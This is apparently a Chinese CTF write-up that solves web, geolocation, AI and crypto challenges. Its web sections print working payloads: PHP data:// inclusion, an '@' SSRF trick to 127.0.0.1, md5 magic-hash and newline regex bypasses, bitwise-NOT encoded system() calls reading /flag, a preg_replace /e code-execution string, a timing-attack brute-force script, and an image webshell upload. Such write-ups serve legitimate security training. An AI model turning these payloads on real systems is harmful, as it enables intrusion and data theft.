WEB
web也会有签到
像极了ctfshow的感觉,一看就是源码题,秒了
base64扔进去解码
frank1q22来送礼物了
因为file_get_contents函数,考虑文件包含,input协议需要在post提交对应的内容,但是这题post提交参数,所以用data协议
data://
后面的内容会被当作php代码执行pen=data://text/plain,frank1q22
strpos() 函数用于查找字符串在另一字符串中第一次出现的位置,其返回值是字符串在另一字符串中第一次出现的位置,注意字符串位置是从 0 开始的,如果没有找到字符串则返回 FALSE。
这里要求不能等于 0 ,也就是说在传入的 $challenge 里需要找到 'http://frank1q22.github.io',并且位置是开头,才会是返回的 0,那就直接将内容传给它,这样查出来返回值就是 0
然后通过@进行截断,后面是本地ip
@ 符号前面的部分通常表示用户信息(例如用户名和密码),这种用法曾经用于需要在 URL 中嵌入用户名和密码的情况,但是由于安全原因,这种方式已逐渐被淘汰,现代浏览器大多不再支持直接从 URL 中提取用户名和密码进行身份验证。
payload为
pen=data://text/plain,frank1q22&challenge=http://frank1q22.github.io@127.0.0.1&gift=l
然后访问nlrce.php
这里system等都被ban了,但是passthru没被ban,投机取巧了一下,env直接出flag
?nlctf=passthru("env");
竟然是Warmup?
第一关:随便找俩值绕过,这两个值的md5值得相等
NLhead=QNKCDZO&NLhand=240610708
第二关:这里不仅有个非法参数名的问题,还有正则匹配的问题
这里将参数名中的_
替换成[
,这样后面的.
就不会被解析成[
了
由于pre_match这个函数是只能匹配一行的数据,所以我们可以用%0a(换行符)来绕过。
这里%0a绕过是因为$会忽略换行符,从而成功绕过正则匹配
?NLhead=QNKCDZO&NLhand=240610708&Nai[Long.body=fat%0a
第三关:无数字字母RCE,取反绕过
<?php
$a="system";
$a=urlencode(~$a); // ~ 取反写法
$b="ls /";
$b=urlencode(~$b);
echo $a."\n".$b;
?>
?NLhead=QNKCDZO&NLhand=240610708&Nai[Long.body=fat%0a&NLfeet=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
接着查
<?php
$a="system";
$a=urlencode(~$a); // ~ 取反写法
$b="tac /flag.php";
$b=urlencode(~$b);
echo $a."\n".$b;
?>
?NLhead=QNKCDZO&NLhand=240610708&Nai[Long.body=fat%0a&NLfeet=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%D0%99%93%9E%98%D1%8F%97%8F);
wc,是php
先试了密码长度,是8,然后拿个脚本爆出密码
import time
import requests
import statistics
# 目标 URL
url = "http://ctf.wdsec.com.cn:33095/frank1q22-levelLEVEL1.php" # 替换为真实目标地址
# 固定的密码长度
password_length = 8
# 测试某一位数字的函数
def test_digit(prefix, position, digit):
# 构造测试密码
test_pass = prefix + digit + "0" * (password_length - len(prefix) - 1)
elapsed_times = []
for _ in range(3): # 测试多次取平均值
start_time = time.time()
requests.post(url, data={"pass": test_pass})
elapsed_times.append(time.time() - start_time)
return statistics.mean(elapsed_times)
# 自动化获取密码
def find_password():
password = ""
for position in range(password_length):
max_time = 0
correct_digit = "0"
for digit in "0123456789": # 遍历所有数字
test_time = test_digit(password, position, digit)
print(f"正在测试: {password + digit},耗时: {test_time:.5f} 秒")
if test_time > max_time:
max_time = test_time
correct_digit = digit
password += correct_digit # 确认当前位
print(f"找到的部分密码: {password}")
return password
# 开始攻击
if __name__ == "__main__":
print("开始破解密码...")
final_password = find_password()
print(f"破解完成,密码为: {final_password}")
拿到密码,post传参pass=65546169
访问一下
在这串代码中preg_replace()
用来执行正则替换,$_GET['a']
是正则表达式,$_GET['b']
是替换的内容,$_GET['c']
是要被替换的字符串。如果 $_GET['a']
中包含 /e
修饰符,那么PHP 会执行 $_GET['b']
中的内容作为代码。
这时通过逃逸,创建参数cmd,在最后的时候给cmd赋值,进而让参数b执行命令
构造payload为
?a=/.*/e&b=system($_GET['cmd'])&c=dummy&cmd=ls /
a=/.*/e&b=system($_GET['cmd'])&c=dummy&cmd=cat /flag
拿到flag
奶龙的文件上传
竟然是个报错页面,算了扫目录看看
找到文件上传点了
传个图片马
抓包改后缀发包,拿到路径
连接蚁剑
找flag
这里可以写命令,而且flag文件里面没有flag
然后就能拿到flag了
Osint
图寻①
先百度了一下,查了下这是哪,发现是朱可夫元帅雕像
然后谷歌地图去搜具体经纬度
基本实现原图重现了,经纬度是
55.7557254,37.6170347
通过底下这个脚本算出flag
import hashlib
# 经纬度字符串
coords = "55.755,37.617"
# 计算 MD5
md5_hash = hashlib.md5(coords.encode()).hexdigest()
# 格式化为 flag
flag = f"flag{{{md5_hash}}}"
print(flag)
flag{7555eed6d4f599847ef983e9a982e93d}
图寻②
先识图,问了ai
这里谷歌地图无法直接搜到,直接去谷歌搜
这是冰岛国家的天气网站
去这个经纬度看看,应该是在附近
是片水域,应该就是在这边上,去路上看看
然后就找到了,因为这个路穿过水域,,辨识度比较高
63.813462,-18.0119339
import hashlib
# 经纬度字符串
coords = "63.813,-18.011"
# 计算 MD5
md5_hash = hashlib.md5(coords.encode()).hexdigest()
# 格式化为 flag
flag = f"flag{{{md5_hash}}}"
print(flag)
跑出来flag是flag{80c7218d9f5e7c332d15bc94c794f9c9}
AI
猫粮
额,就这样就出来了emmm,我就求一下他就出来了
Crypto
Hello_Crypto
出题人:SeanDictionary
难度:签到
题目描述:希望你喜欢这个密码之旅
题目:无附件
AES.CBC
c = 0x26a8191576aa59308f9ff3469bebbd0c8d27820531130d
fe1a860e1e7b02bd7495f56b3d3d5e9a12c01c4f853693e16c
key = IV = 0x1234567890abcdef1234567890abcdef
格式flag{}
from Cryptodome.Cipher import AES
import binascii
def decrypt_aes_cbc(ciphertext_hex, key_hex, iv_hex):
ciphertext = binascii.unhexlify(ciphertext_hex)
key = binascii.unhexlify(key_hex)
iv = binascii.unhexlify(iv_hex)
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)
# 去除可能的填充字节
padding_length = plaintext[-1]
plaintext = plaintext[:-padding_length]
return plaintext
# 已知的密文、密钥和 IV
ciphertext_hex = "26a8191576aa59308f9ff3469bebbd0c8d27820531130dfe1a860e1e7b02bd7495f56b3d3d5e9a12c01c4f853693e16c"
key_hex = "1234567890abcdef1234567890abcdef"
iv_hex = "1234567890abcdef1234567890abcdef"
# 解密密文
decrypted_text = decrypt_aes_cbc(ciphertext_hex, key_hex, iv_hex)
# 将解密后的字节串转换为字符串
decrypted_string = decrypted_text.decode('utf-8')
# 打印结果
print(f"flag{{{decrypted_string}}}")
flag{ZmxhZ3tXM2xjMG0zX1QwX1RIM19DcnlwVDBfVzBybGR9}
Login
from Crypto.Util.number import *
def encrypt(flag, key):
key_nums = []
pointer = 0
ans = ''
for i in key:
if i in 'abcdefghijklmnopqrstuvwxyz':
key_nums.append('abcdefghijklmnopqrstuvwxyz'.find(i))
elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
key_nums.append('ABCDEFGHIJKLMNOPQRSTUVWXYZ'.find(i))
for i in flag:
if i in 'abcdefghijklmnopqrstuvwxyz':
new_index = (ord(i) - ord('a') + key_nums[pointer]) % 26
ans += chr((new_index ^ pointer) + ord('a'))
pointer = (pointer + 1) % len(key_nums)
elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
new_index = (ord(i) - ord('A') + key_nums[pointer]) % 26
ans += chr((new_index ^ pointer) + ord('A'))
pointer = (pointer + 1) % len(key_nums)
else:
ans += i
return ans
def decrypt(ciphertext, key):
key_nums = []
pointer = 0
ans = ''
for i in key:
if i in 'abcdefghijklmnopqrstuvwxyz':
key_nums.append('abcdefghijklmnopqrstuvwxyz'.find(i))
elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
key_nums.append('ABCDEFGHIJKLMNOPQRSTUVWXYZ'.find(i))
for i in ciphertext:
if i in 'abcdefghijklmnopqrstuvwxyz':
# 从加密函数的逻辑反向推导原始字符
for original_char in range(ord('a'), ord('z') + 1):
new_index = ((ord(i) - ord('a')) ^ pointer)
original_index = (new_index - key_nums[pointer]) % 26
if original_index == (original_char - ord('a')) % 26:
ans += chr(original_char)
break
pointer = (pointer + 1) % len(key_nums)
elif i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
for original_char in range(ord('A'), ord('Z') + 1):
new_index = ((ord(i) - ord('A')) ^ pointer)
original_index = (new_index - key_nums[pointer]) % 26
if original_index == (original_char - ord('A')) % 26:
ans += chr(original_char)
break
pointer = (pointer + 1) % len(key_nums)
else:
ans += i
return ans
# 已知的加密文本和 fake_key
ciphertext = 'byqo{A31k0kl_m0_YODPS}'
fake_key_hex = '76e6f6c69616e6968637f677'
# 还原 key
key = bytes.fromhex(fake_key_hex[::-1]).decode()
# 尝试解密
decrypted_text = decrypt(ciphertext, key)
print(f"Decrypted flag: {decrypted_text}")
flag{W31c0me_t0_DRCTF}
Comments | NOTHING